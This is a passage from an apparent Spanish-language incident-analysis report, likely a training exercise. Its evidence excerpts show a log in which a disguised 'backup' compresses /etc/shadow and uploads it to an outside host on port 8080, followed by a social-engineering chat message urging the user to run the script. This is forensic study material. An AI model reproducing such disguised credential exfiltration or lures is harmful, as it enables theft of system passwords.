Descripción: el log muestra el arranque del “backup”, la compresión de /etc/shadow y el upload HTTP hacia el host atacante en el puerto 8080.

```
backup.log chat.txt install.sh
reports@4geeks-server:~$ cat backup.log
[INFO] Starting backup process...
[INFO] Compressing /etc/shadow...
[INFO] Uploading to 102.168.1.100:8080
[OK] Backup completed
reports@4geeks-server:~$ cat chat.txt
```

F.2 chat.txt — Instrucciones al usuario para ejecutar el script

Descripción: mensaje enviado desde unknown@externalmail.com indicando “run that script I sent you earlier” y “it’s clean”, confirmando *ingeniería social*.

```
[OK] Backup completed
reports@4geeks-server:~$ cat chat.txt
From: unknown@externalmail.com
---
Hey, run that script I sent you earlier.
Don't worry, it's clean. Let me know once the backup finishes.
reports@4geeks-server:~$
```

Fecha: __20__ / __08__ / 2025